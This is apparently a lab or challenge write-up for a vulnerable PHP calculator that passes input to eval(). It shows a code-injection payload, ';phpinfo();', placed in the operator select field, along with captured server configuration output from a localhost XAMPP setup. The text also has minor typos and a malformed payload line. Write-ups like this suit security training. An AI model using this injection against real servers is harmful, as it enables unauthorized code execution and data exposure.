

## LVL - 2

### Quick Explanation

The server uses php eval() function to perform math operation between the two numbers that we are sending.

Since the server checks if we really send numbers we can inject our code with by changing the operator(+,-,\*,/,) either directly from the html or by capturing the request to the server.

```
<select name="operator">
<option value=";phpinfo();">+</option>
<option value="*">*</option>
<option value="/">/</option>
<option value="-">-</option>
<option value="%">%</option>
```

By manipulating the valute of operator to ;phpinfo());

### The Quick Web Calculator

 +  

An error occurred when making the calculation :(

### Configuration

Apache Version	Apache/24.7 (Win32) OpenSSL/1.0.1e PHP/5.5.6
Apache API Version	20120211
Server Administrator	postmaster@localhost
Hostname:Port	localhost:8079
Max Requests	Per Child: 0 - Keep Alive: on - Max Per Connection: 100
Timeouts	Connection: 300 - Keep-Alive: 5
Virtual Server	No
Server Root	E:/Programs/XAMPP/apache
Loaded Modules	core mod_win32 mpm_winnt http_core mod_so mod_access_compat mod_actions mod_alias mod_allowmethods mod_asis mod_auth_basic mod_auth_core mod_authn_file mod_authn_core mod_authn_groupfile mod_authn_host mod_authn_user mod_autoindex mod_cgi mod_dav_lock mod_dir mod_env mod_headers mod_include mod_info mod_isapi mod_log_config mod_cache_disk mod_mime mod_negotiation mod_proxy mod_proxy_ajp mod_rewrite mod_setenvif mod_socache_shmcb mod_ssl mod_status mod_version mod_php5

